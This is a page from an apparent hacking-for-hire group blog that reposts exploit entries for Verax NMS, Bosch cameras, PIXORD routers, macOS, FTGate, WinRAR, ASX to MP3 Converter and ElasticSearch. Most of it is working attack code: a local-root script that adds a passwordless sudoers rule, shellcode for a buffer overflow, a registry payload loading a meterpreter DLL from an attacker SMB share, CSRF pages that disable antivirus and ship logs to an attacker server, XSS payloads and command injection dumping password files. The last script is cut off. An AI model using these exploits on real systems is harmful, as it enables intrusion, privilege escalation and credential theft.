Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863170456

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/58334/info

Verax NMS is prone to multiple security-bypass and information disclosure vulnerabilities.

Attackers can exploit these issues to bypass certain security restrictions, perform unauthorized actions, and obtain sensitive information; this may aid in launching further attacks.

Versions prior to Verax NMS 2.1.0 are vulnerable. 

#!/usr/bin/python

 #just based on http://www.example.com/tutorials/general/client.html#basic-example
 from pyamf import AMF0, AMF3
 from pyamf.remoting.client import RemotingService

 client = RemotingService('http://installationurl/enetworkmanagementsystem-fds/messagebroker/amf',
amf_version=AMF3)
 service = client.getService('userService')

 print service.getAllUsers()
HireHackking 
source: https://www.securityfocus.com/bid/58399/info

Your Own Classifieds is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/cat-search/for-sales-2/%22%3E%3Cimg%20src=x%20onerror=prompt%280%29;%3E
HireHackking 
# Exploit Title: Bosch Security Systems - XML Injection - Dinion NBN-498 Web Interface

# Date: 01/09/2015

# Exploit Author: neom22

# Vendor Homepage: http://us.boschsecurity.com

# Data Sheet: http://resource.boschsecurity.us/documents/Data_sheet_enUS_9007201286798987.pdf

# Version: Hardware Firmware 4.54.0026 - Web Interface version is unknown

# Tested on: Windows 8.1 - Firefox 40.0.3

# CVE : CVE-2015-6970 (To be published)


#################################################
#                                                                                                        #
#    Discovered by neom22                                                           #
#    23 - 09 - 2015                                                                           #
#                                                                                                        #
#################################################
#
#
Bosch Security Systems - Dinion NBN-498 - Web Interface (Live Feed and Administration)
#
#
Vulnerability Discovery: 10/09/2015
Vendor Contact: 17/09/2015 (no answer)
Published: 24/09/2015
#
#

Description: 
-----------------------------------------------------------------
The Dinion2x IP Day/Night camera is a high-performance, smart
surveillance color camera. It incorporates 20-bit digital signal
processing and a wide dynamic range sensor for outstanding
picture performance under all lighting conditons.
The camera uses H.264 compression technology to give clear
images while reducing bandwidth and storage requirements. It
is also ONVIF compliant to improve compatibility during system
integration.
The camera operates as a network video server and transmits
video and control signals over data networks, such as Ethernet
LANs and the Internet.
-----------------------------------------------------------------

Useful Links:

Data Sheet: http://resource.boschsecurity.us/documents/Data_sheet_enUS_9007201286798987.pdf
Documentation: http://resource.boschsecurity.us/documents/Installation_Manual_enUS_2032074379.pdf
Product: 

http://us.boschsecurity.com/en/us_product/products/video/ipcameras/sdfixedcameras/nbn498dinion2xdaynightipc/nbn498

dinion2xdaynightipc_608
-----------------------------------------------------------------

XML Parameter Injection POC

_-Request-_

GET /rcp.xml?idstring=<string>injection</string> HTTP/1.1
Host: postoipiranga.dyndns-ip.com:10004
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: HcsoB=60cd4a687de94857
Connection: keep-alive

_-Response-_

HTTP/1.1 200 OK
Server: VCS-VideoJet-Webserver
Connection: keep-alive
Content-Type: text/xml
Accept-Ranges: bytes
Content-Length: 359
Expires: 0
Cache-Control: no-cache
Set-Cookie: HcsoB=60cd4a687de94857; path=/;

<rcp>
    <command>
        <hex>0x0000</hex>
        <dec>       0</dec>
    </command>
    <type>T_DWORD</type>
    <direction>READ</direction>
    <num>0</num>
    <idstring><string>injection</string></idstring>
    <payload></payload>
<cltid>0x478e</cltid><sessionid>0x00000000</sessionid><auth>1</auth><protocol>TCP</protocol>    <result>
            <err>0x40</err>
    </result>
</rcp>
HireHackking 
source: https://www.securityfocus.com/bid/58401/info

McAfee Vulnerability Manager is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

McAfee Vulnerability Manager 7.5.0 and 7.5.1 are vulnerable; other versions may also be affected. 

GET /www.example.com/index.exp HTTP/1.1
Cookie: identity=p805oa53c0dab5vpcv1da30me7;
cert_cn=%27%22%28%29%26%251%3CScRiPt %3Eprompt%28920847%29%3C%2FScRiPt%3E;
remember=remember
Host: 172.28.1.1
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*
HireHackking 
# Exploit Title: [Vehicle 3G Wi-Fi Router - PIXORD - Multiple
Vulnerabilities]
# Date: May 01, 2015 [No response from Vendor till date]
# Discovered by: Karn Ganeshen
# Vendor Homepage: [http://www.pixord.com/en/products_show.php?show=17]
# Version: [Model Name :3GR-431P]
[Software Version :RTA-A001_02]
[Wireless Driver Version :2.6.0.0]

*Vehicle 3G Wi-Fi Router - PIXORD *
http://www.pixord.com/en/products_show.php?show=17

*Device Info *

Model Name :3GR-431P
Software Version :RTA-A001_02
Wireless Driver Version :2.6.0.0

PiXORD 3GR-431P 3G Wi-Fi Router is a 3G + GPS + 802.11n (2T2R) wireless
router. It supports Internet access via 3G and receives position
information from GPS. 3GR-431P also supports two Ethernet ports for LAN
connectivity and 802.11n Wi-Fi Access Point for WLAN connectivity.

It is available to install the 3GR-431P on the transportation. The
passengers can use the laptop or smart phone via Wi-Fi to browse the
Internet on the go. The Ethernet port also can connect IP camera to provide
the real time monitoring.

Vulnerability Impact: Easy and full device compromise. Access to configured
keys, passwords, pass-phrases, accounts, etc. Ability to monitor the user /
vehicle via camera / connected devices.

*Multiple Security Vulnerabilities *

*1. OS command injection *
$ telnet 192.168.1.10
Trying 192.168.1.10...
Connected to 192.168.1.10.
Escape character is '^]'.
Vehicle 3G Wi-Fi Router
Login: admin
Password:
>
> ?
mobile3G
mobileGPS
model
reboot
restoredefault
version

As seen above, only few specific, functional options are available for
device management.

However, we can bypass this and dump hashes easily.

> ?;cat /etc/passwd
sh: ?: not found

admin:<password1>:0:0:Adminstrator:/:/bin/sh
support:<password2>:0:0:Adminstrator:/:/bin/sh
user:<password3>:0:0:Adminstrator:/:/bin/sh

> exit

Note that this is also applicable when a non-admin ‘user’ / ‘support’ logs
in over the Telnet.

The web application lacks strict input validation and hence vulnerable to
OS command injection attack.

*2. Configuration not secured properly / AuthZ issues *

The device has three users - admin, support, user.

Apparently, there is no separation of privileges between these 3 users,
when accessing over HTTP(S). All options are available to all three then.
This allows 'user' /'support' to access device configuration file -
RT2880_Settings.dat. Configuration backup contains b64-encoded login
passwords + clear-text WPA keys + other sensitive information.

.. …
*Sensitive information in configuration file - *

*more RT2880_Settings.dat *
#The following line must not be removed.
Default
WebInit=1
HostName=pixord
Login=admin
Password=<admin_password_here>=
Login2=support
Password2=<support_password_here>==
Login3=user
Password3=<user_password_here>==
OperationMode=1
Platform=RT3352
.....
<snip>
.....
wan_pppoe_user=pppoe_user
wan_pppoe_pass=pppoe_passwd
wan_l2tp_server=l2tp_server
wan_l2tp_user=l2tp_user
wan_l2tp_pass=l2tp_passwd
.....
<snip>
.....
wan_pptp_server=pptp_server
wan_pptp_user=pptp_user
wan_pptp_pass=pptp_passwd
.....
<snip>
.....
DDNS=
DDNSAccount=<ddns_account_name_here>
DDNSPassword=<ddns_password_here>
CountryRegion=
CountryRegionABand=
CountryCode=
BssidNum=1
SSID1=PiXORD
WirelessMode=9
.....
<snip>
.....
WscSSID=RalinkInitialAP
WscKeyMGMT=WPA-EAP
WscConfigMethod=138
WscAuthType=1
WscEncrypType=1
WscNewKey=<wsc_key_here>
IEEE8021X=0
IEEE80211H=0
CSPeriod=6
PreAuth=0
AuthMode=WPAPSKWPA2PSK
EncrypType=TKIPAES
RekeyInterval=3600
RekeyMethod=TIME
PMKCachePeriod=10
WPAPSK1=<WPA_PSK_Key_here>
DefaultKeyID=2
Key1Type=0
Key1Str1=
Key2Type=0
Key2Str1=
Key3Type=0
Key3Str1=
Key4Type=0
Key4Str1=
WapiPskType=0
.....
<snip>
.....
WdsEnable=0
WdsEncrypType=NONE
WdsList=
WdsKey=
WirelessEvent=0
RADIUS_Server=0
RADIUS_Port=1812
RADIUS_Key=
RADIUS_Acct_Server=
RADIUS_Acct_Port=1813
RADIUS_Acct_Key=
.....
<snip>
.....
wan_3g_apn=public
wan_3g_dial=*99#
wan_3g_user=
wan_3g_pass=
<snip>
RADIUS_Key1=<radius_key_here>
.....
<snip>
.....

Also, as observed in point 1 above, all the users have a UID 0, i.e. root
level privileges to the device:

admin:<password1>:0:0:Adminstrator:/:/bin/sh
support:<password2>:0:0:Adminstrator:/:/bin/sh
user:<password3>:0:0:Adminstrator:/:/bin/sh

The application should ideally provide specific privileges to different
users, and enforce strict access control.

*3. Application does not secure configured passwords (HTTPS) *

Masked password(s) can be retrieved via frame source (inspect element) and
/ or intercepting request via a proxy.

The application should mask/censure (*****) the passwords, keys and any
other crucial pieces of configuration and must not pass the values in
clear-text.

*4. Program / Scripts running in an insecure manner - leaking clear-text
passwords in process information *

After logging in to the device over Telnet, we can drop in to a shell via
OS command injection attack described in point 1.

> ?;sh
sh: ?: not found
Enter 'help' for a list of built-in commands.
BusyBox v1.12.1 (2012-12-25 11:48:22 CST) built-in shell (ash)

#

Checking running processes reveal a system program *inadyn*, which
apparently is a service for ddns connectivity, leaking valid username and
password in clear-text.

# ps aux
PID USER VSZ STAT COMMAND
1 admin 1768 S init
2 admin 0 RWN [ksoftirqd/0]
.....
<snip>
.....
2159 admin 1096 S inadyn -u *<ddns-username_here>* -p *<ddns-password_here>*
 -a *<ddns_domain_here>*
4050 admin 1768 R ps aux

The programs should be run securely without passing cli arguments and
parameter values in clear-text.
-- 
Best Regards,
Karn Ganeshen
HireHackking 
# CVE-2015-5889: issetugid() + rsh + libmalloc osx local root
# tested on osx 10.9.5 / 10.10.5
# jul/2015
# by rebel

import os,time,sys

env = {}

s = os.stat("/etc/sudoers").st_size

env['MallocLogFile'] = '/etc/crontab'
env['MallocStackLogging'] = 'yes'
env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n'

sys.stderr.write("creating /etc/crontab..")

p = os.fork()
if p == 0:	
	os.close(1)
	os.close(2)
	os.execve("/usr/bin/rsh",["rsh","localhost"],env)

time.sleep(1)

if "NOPASSWD" not in open("/etc/crontab").read():
	sys.stderr.write("failed\n")
	sys.exit(-1)

sys.stderr.write("done\nwaiting for /etc/sudoers to change (<60 seconds)..")

while os.stat("/etc/sudoers").st_size == s:
	sys.stderr.write(".")	
	time.sleep(1)

sys.stderr.write("\ndone\n")

os.system("sudo su")
HireHackking 
source: https://www.securityfocus.com/bid/58414/info

Question2Answer is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible.

Question2Answer 1.5.4 is vulnerable; other versions may also be affected.

<html>
<head>
<title>Exploit for stealing admin's account in Question2Answer. Made by
MustLive. http://www.example.com</title>
</head>
<body onLoad="StartCSRF()">
<script>
function StartCSRF() {
for (var i=1;i<=2;i++) {
 var ifr = document.createElement("iframe");
 ifr.setAttribute('name', 'csrf'+i);
 ifr.setAttribute('width', '0');
 ifr.setAttribute('height', '0');
 document.body.appendChild(ifr);
}
CSRF1();
setTimeout(CSRF2,1000);
}
function CSRF1() {
window.frames["csrf1"].document.body.innerHTML = '<form name="hack"
action="http://www.example.com/account"; method="post">n<input type="hidden"
name="handle" value="test">n<input type="hidden" name="email"
value="email () attacker com">n<input type="hidden" name="messages"
value="1">n<input type="hidden" name="mailings" value="1">n<input
type="hidden" name="field_1" value="test">n<input type="hidden"
name="field_2" value="test">n<input type="hidden" name="field_3"
value="test">n<input type="hidden" name="dosaveprofile"
value="1">n</form>';
window.frames["csrf1"].document.hack.submit();
}
function CSRF2() {
window.frames["csrf2"].document.body.innerHTML = '<form name="hack"
action="http://www.example.com/attack.php"; method="post">n<input type="hidden"
name="do" value="1">n</form>';
window.frames["csrf2"].document.hack.submit();
}
</script>
</body>
</html>
HireHackking 
source: https://www.securityfocus.com/bid/58418/info

Asteriskguru Queue Statistics is prone to an cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/public/error.php?warning=<XSS injection>
HireHackking 
source: https://www.securityfocus.com/bid/58417/info

SWFUpload is prone to multiple cross-site scripting and content spoofing vulnerabilities because it fails to sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

Content spoofing:

http://www.example.com/swfupload.swf?buttonText=test%3Cimg%20src=%27http://demo.swfupload.org/v220/images/logo.gif%27%3E

Cross-site scripting:

http://www.example.com/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E
HireHackking 
source: https://www.securityfocus.com/bid/58415/info

The Terillion Reviews plugin for WordPress is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. 

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
HireHackking 
source: https://www.securityfocus.com/bid/58421/info

The podPress plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

podPress 8.8.10.13 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/podpress/players/1pixelout/1pixelout_player.swf?playerID=\"))}catch(e){alert(/xss/)}//
HireHackking 
source: https://www.securityfocus.com/bid/58425/info

Privoxy is prone to multiple information-disclosure vulnerabilities.

Attackers can exploit these issues to gain access to the user accounts and potentially obtain sensitive information. This may aid in further attacks.

Privoxy 3.0.20 is affected; other versions may also be vulnerable. 

Response Code (current).: 407

Response Headers (as seen by your browser).:

HTTP/1.1 407 Proxy Authentication Required
Date: Mon, 11 Mar 2013 17:01:59 GMT
Server: ./msfcli auxiliary/server/capture/http set SRVPORT=80
Proxy-Authenticate: Basic
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 571
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Request Headers (as seen by the remote website)

Host: c22.cc
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.example.com/
Connection: keep-alive
HireHackking 
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-FTGATE-2009-CSRF.txt


Vendor:
================================
www.ftgate.com


Product:
========================================
FTGate 2009 SR3 May 13 2010 Build 6.4.00


Vulnerability Type:
=================================
Cross site request forgery (CSRF)


CVE Reference:
==============
N/A


Vulnerability Details:
=====================
Multiple CSRF vectors exist within FTGate 2009 that allow us to add
arbitrary remote domains,
disable antivirus scanning for various Email file attachment types, and
finally change settings
to have archived server logs sent to our remote attacker controlled server
for safe keeping.

Exploit code(s):
===============

CSRF(s):

<!DOCTYPE>
<html>
<body onLoad="invertedcross()">

<script>
function invertedcross(){
var e=document.getElementById('PUNKSNOTDEAD')
e.submit()
}
</script>


1) add arbitrary domains:
-------------------------
<form id="PUNKSNOTDEAD" action="
http://localhost:8089/webadmin/mailboxes/index.fts?action=save"
method="post">
<input type="text" name="dname" value="hyp3rlinx.com" />
<input type="text" name="dtype" value="4" />
<input type="text" name="fname" value="*" />
<input type="text" name="action" value="domadd" />
<input type="text" name="domain" value="" />
<input type="text" name="newdomain" value="" />
</form>


2) sends archived logs to arbitrary remote server:
--------------------------------------------------
<form id="PUNKSNOTDEAD" action="
http://localhost:8089/webadmin/config/archive.fts?action=save"
method="post">
<input type="text" name="enable" value="on" />
<input type="text" name="path"
value="C%3A%5CProgram+Files+%28x86%29%5CFTGate+2009%5CArchive" />
<input type="text" name="duration" value="0" />
<input type="text" name="external" value="on" />
<input type="text" name="extarcserver" value="6.6.6.0" />
</form>


3) disable virus scan for .jar or .exe files etc:
-------------------------------------------------
Options to control handling of virus scanning for email attachments Virus
Scanning Mode
Operating mode of the virus scanner mode=0 to Disable Virus Scanning.

<form id="PUNKSNOTDEAD" action="
http://localhost:8089/webadmin/filters/virus.fts" method="post">
<input type="text" name="action" value="add" />
<input type="text" name="mode" value="0" />
<input type="text" name="extension" value="dll" />
</form>

</body>
</html>




Disclosure Timeline:
=========================================================
Vendor Notification: September 29, 2015
October 1, 2015 : Public Disclosure


Exploitation Technique:
=======================
Remote


Severity Level:
=========================================================
High


Description:
==========================================================

Request Method(s):              [+]  POST

Vulnerable Product:             [+]  FTGate 2009 SR3 May 13 2010 Build
6.4.00

Vulnerable Parameter(s):        [+]  domadd, extarcserver & mode


####################################################

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-FTGATE-2009-DOS.txt


Vendor:
================================
www.ftgate.com


Product:
================================
FTGate 2009 SR3 May 13 2010 Build 6.4.000


Vulnerability Type:
=======================
Denial of service (DOS)


CVE Reference:
==============
N/A


Vulnerability Details:
=====================
Multiple denial of service oppurtunities reside within FTGate 2009 that
allow us to disrupt and shut down
various FTGate services via GET requests by luring victimz to our website
or get them to click our malicious linxs.


Exploit code(s):
===============

DOS:

1) shutdown solight web mail interface on port 80
http://127.0.0.1:8089/webadmin/services/index.fts?action=stop_service&id=36

2) shutdown Monitor server port 8081
http://127.0.0.1:8089/webadmin/services/index.fts?action=stop_service&id=35

3) shutdown FTGate connector server port 8090 listens on address 'Any'
http://127.0.0.1:8089/webadmin/services/index.fts?action=stop_service&id=38

4) shutdown IMAP server port 143 listening on 'Any'
http://127.0.0.1:8089/webadmin/services/index.fts?action=stop_service&id=33


Disclosure Timeline:
=========================================================
Vendor Notification: September 29, 2015
October 1, 2015 : Public Disclosure


Exploitation Technique:
=======================
Remote


Severity Level:
=========================================================
Medium


Description:
==========================================================
Request Method(s):              [+]  GET

Vulnerable Product:             [+]  FTGate 2009 SR3 May 13 2010 Build
6.4.000

Vulnerable Parameter(s):        [+]  action, id


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx
HireHackking 
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-FTGATE-V7-CSRF.txt


Vendor:
================================
www.ftgate.com
www.ftgate.com/ftgate-update-7-0-300


Product:
================================
FTGate v7


Vulnerability Type:
=================================
Cross site request forgery (CSRF)


CVE Reference:
==============
N/A


Vulnerability Details:
=====================
Multiple CSRF vectors exists within FTGate v7 allowing the following attacks
www.ftgate.com/ftgate-update-7-0-300

1) add arbitrary domains
2) enable arbitrary remote archiving of logs
3) whitelist arbitrary email addresses
4) add arbitrary mailbox & disable antivirus,
5) remove email attachment blocking for filez.


Exploit code(s):
===============

<!DOCTYPE>
<html>
<body onLoad="doit()">
<script>
function doit(){
var e=document.getElementById('HELL')
e.submit()
}
</script>

1) add arbitrary remote domain:

<form id='HELL' action="
http://localhost:8089/v7/wizards/adddomain.fts?action=save&id="
method="post">
<input type="text" name="name" value="abysmalgodz" />
<input type="text" name="type" value="1" />
</form>


2) enable arbitrary remote archive:

<form id='HELL' action="
http://localhost:8089/v7/webadmin/config/archive.fts?action=save"
method="post">
<input type="text" name="action" value="save" />
<input type="text" name="enable" value="on" />
<input type="text" name="duration" value="0" />
<input type="text" name="external" value="on" />
<input type="text" name="extarcserver" value="0.6.6.6" />
</form>

disable Antivirus for .exe files: also, has a persistent XSS inject but our
payload gets truncated at 5 chars,
but can corrupt the loading of valid XML returned from database to the WEB
UI.

e.g.

HTTP response after attack outputs corrupted XML generating errors.

<cell>exe</cell>
<cell/>
<cell><scri</cell>
<cell/>
</row>
<row id='id_"/><s'>

http://localhost:8089/v7/axml/adminlists.fts?table=ext&add=exe


<form id='HELL' action="
http://localhost:8089/v7/webadmin/filters/virus.fts?action=save&mailbox="
method="post">
<input type="text" name="mode" value="on" />
<input type="text" name="selftest" value="0ff" />
<input type="text" name="extGrid_id_exe_0" value="1" />
</form>


add arbitrary Admins:

http://localhost:8089/v7/axml/adminlists.fts?table=admin&add=ghostofsin

whitelist arbitrary email addresses:

Messages that originate from these email addresses are not filtered by the
Word or Phrase filters.

http://localhost:8089/v7/axml/whitelist.fts?id=531&add=hell@abyss.666

<!--remove email attachment blocking for exe, hta & html filez -->

http://localhost:8089/v7/axml/attachments.fts?id=531&remove=7,10,3

when access the above URL it returns XML with all file extensions blocked
on incoming email, we now know ID in database.
so to remove blocking of .cmd we select '11'

http://localhost:8089/v7/axml/attachments.fts?id=531&remove=11

or remove blocking of multiple file types in one shot
http://localhost:8089/v7/axml/attachments.fts?id=531&remove=7,10,3


add arbitrary mailbox:

<form id='HELL' action="
http://localhost:8089/v7/wizards/addmailbox.fts?action=save&id=500"
method="post">
<input type="text" name="name" value="punksnotdead" />
<input type="text" name="type" value="0" />
<input type="text" name="cn" value="punksnotdead" />
<input type="text" name="password" value="punksnotdead" />
</form>

</body>
</html>


Disclosure Timeline:
========================================
Vendor Notification: September 29, 2015
October 1, 2015 : Public Disclosure


Exploitation Technique:
=======================
Remote


Severity Level:
================
High


Description:
==========================================================
Request Method(s):              [+]  GET

Vulnerable Product:             [+]  FTGate v7

Vulnerable Parameter(s):        [+]  type, id, mode, add, extarcserver

===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx
HireHackking 
#!/usr/bin/python -w
# Title : WinRar Settings Import Command Execution
# Date : 02/10/2015
# Author : R-73eN
# Tested on : Windows 7 Ultimate
# Vulnerable Versions : Winrar < 5.30 beta 4
# The vulnerability exists in the "Import Settings From File" function.
# Since Settings file of Winrar are saved as a registry file and WinRar executes
# it in an automatic way without checking if it is writing to the Registry keys 
# used by winrar, we can create a specially crafted settings file and we can 
# overwrite registry keys.
# Since we have access to registry there are various ways we could use this to 
# get code execution such as defining "RUN" keys or creating new services etc 
# However the best way to get code execution is using AppInit DLLs
# AppInit DLLs are DLLs that are loaded into any process when it starts. 
# In this case, we can specify a meterpreter DLL payload using a UNC path on
# an SMB server we control and then next time a new process starts we will 
# get a shell.
# Read more about AppInit Dlls : https://support.microsoft.com/en-us/kb/197571
#
# Triggering the vulnerability
# 1) Run this python script.
# 2) Open WinRar
# 3) Click Options
# 4) Click Import/Export
# 5) Import Settings from file
# 6) Select the Specially crafted Settings.reg file
#
# Disclosure Timeline:
# 01/10/2015 - Vendor Contacted POC provided
# 02/10/2015 - Vendor released patch in WinRAR 5.30 beta 4 on  to verify
# presence of [HKEY_CURRENT_USER\Software\WinRAR] or
# [HKEY_CURRENT_USER\Software\WinRAR\
#
#

banner = ""
banner +="  ___        __        ____                 _    _  \n" 
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner
print "[+] WinRar Settings Import Command Execution [+]\n"
dll = raw_input("[+] Enter dll location (smb) : ")
dll = dll.replace("\\","\\\\")
print "[+] Writing Contet To Settings.reg [+]"
evil = 'Windows Registry Editor Version 5.00\n\n[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows]\n"AppInit_DLLs"="' + dll + '"\n"LoadAppInit_DLLs"=dword:00000001\n'
print evil
f = open("Settings.reg","w")
f.write(evil)
f.close()
print "[+] Settings.reg created successfully [+]"
print "\n https://www.infogen.al/ \n"
HireHackking 
'''
# Exploit Title: ASX to MP3 Converter 1.82.50 Stack Overflow
# Date: 2 Oct 2015
# Exploit Author: ex_ptr
# Vendor Homepage: http://mini-stream.net
# Version: 1.82.50
# Tested on: Windows XP SP3
'''

import struct
filename = "exploit.asx"

dummy = "A"*0x104
EIP   = struct.pack('<I', 0x76af3adc)
FFFF  = "\xFF\xFF\xFF\xFF"
NOP   = "\x90"*4
Shell = ("\x31\xc9\xbd\x90\xb7\x29\xb8\xd9\xf7\xd9\x74\x24\xf4\xb1\x1e"
		 "\x58\x31\x68\x11\x03\x68\x11\x83\xe8\x6c\x55\xdc\x44\x64\xde"
		 "\x1f\xb5\x74\x54\x5a\x89\xff\x16\x60\x89\xfe\x09\xe1\x26\x18"
		 "\x5d\xa9\x98\x19\x8a\x1f\x52\x2d\xc7\xa1\x8a\x7c\x17\x38\xfe"
		 "\xfa\x57\x4f\xf8\xc3\x92\xbd\x07\x01\xc9\x4a\x3c\xd1\x2a\xb7"
		 "\x36\x3c\xb9\xe8\x9c\xbf\x55\x70\x56\xb3\xe2\xf6\x37\xd7\xf5"
		 "\xe3\x43\xfb\x7e\xf2\xb8\x8a\xdd\xd1\x3a\x4f\x82\x28\xb5\x2f"
		 "\x6b\x2f\xb2\xe9\xa3\x24\x84\xf9\x48\x4a\x19\xac\xc4\xc3\x29"
		 "\x27\x22\x90\xea\x5d\x83\xff\x94\x79\xc1\x73\x01\xe1\xf8\xfe"
		 "\xdf\x46\xfa\x18\xbc\x09\x68\x84\x43")

exploit = dummy + EIP + FFFF + NOP + Shell

f = open(filename,'wb')
f.write(exploit)
f.close()
HireHackking 
# elasticpwn Script for ElasticSearch url path traversal vuln. CVE-2015-5531

```
[crg@fogheaven elasticpwn]$ python CVE-2015-5531.py exploitlab.int /etc/hosts
!dSR script for CVE-2015-5531

127.0.0.1 localhost

# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts


The script requires path.repo to be set into elasticsearch.yml and be writeable by elasticsearch process.

In order to bypass the snapshot- prefix setted in the server side, we need to create a known relative path:

curl http://exploitlab.int:9200/_snapshot/?pretty

{
  "pwn" : {
    "type" : "fs",
    "settings" : {
      "location" : "dsr"
    }
  },
  "pwnie" : {
    "type" : "fs",
    "settings" : {
      "location" : "dsr/snapshot-ev1l"
    }
  }
}

We will use it later to access through path traversal url:

trav = 'ev1l%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..'


The file content it's represented as an array of ints, that needs to be translated into human readable:

crg@exploitlab:~$ python elk-5531.py localhost /etc/issue
!dSR script for CVE-2015-5531

{u'status': 400, u'error': u'ElasticsearchParseException[Failed to derive xcontent from (offset=0, length=26): [85, 98, 117, 110, 116, 117, 32, 49, 50, 46, 48, 52, 46, 53, 32, 76, 84, 83, 32, 92, 110, 32, 92, 108, 10, 10]]'}

[85, 98, 117, 110, 116, 117, 32, 49, 50, 46, 48, 52, 46, 53, 32, 76, 84, 83, 32, 92, 110, 32, 92, 108, 10, 10] = Ubuntu 12.04.5 LTS \n \l


There is also a path disclosure that could help exploiting in some scenarios:

crg@exploitlab:~$ python elk-5531.py localhost /etc/passwda
!dSR script for CVE-2015-5531

{"error":"SnapshotMissingException[[pwn:dsr/../../../../../../../../etc/passwda] is missing]; nested: FileNotFoundException[/var/tmp/dsr/snapshot-dsr/../../../../../../../../etc/passwda (No such file or directory)]; ","status":404}

```

#!/usr/bin/env python
# PoC for CVE-2015-5531 - Reported by Benjamin Smith
# Affects ElasticSearch 1.6.0 and prior
# Pedro Andujar || twitter: pandujar || email: @segfault.es || @digitalsec.net
# Jose A. Guasch || twitter: @SecByDefault || jaguasch at gmail.com
# Tested on default Linux (.deb) install || requires path.repo: to be set on config file

import urllib, urllib2, json, sys, re

print "!dSR script for CVE-2015-5531\n"
if len(sys.argv) <> 3:
        print "Ex: %s www.example.com /etc/passwd" % sys.argv[0]
        sys.exit()

host = sys.argv[1]
fpath = urllib.quote(sys.argv[2], safe='')
port = 9200
trav = 'ev1l%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..' 
reponame = 'pwn'
baseurl = "http://%s:%s/_snapshot/" % (host, port)
xplurl = '%s%s/%s%s' % (baseurl, reponame, trav, fpath)


def createSnapdirs():
	try:
		url = "%s/%s" % (baseurl, reponame)
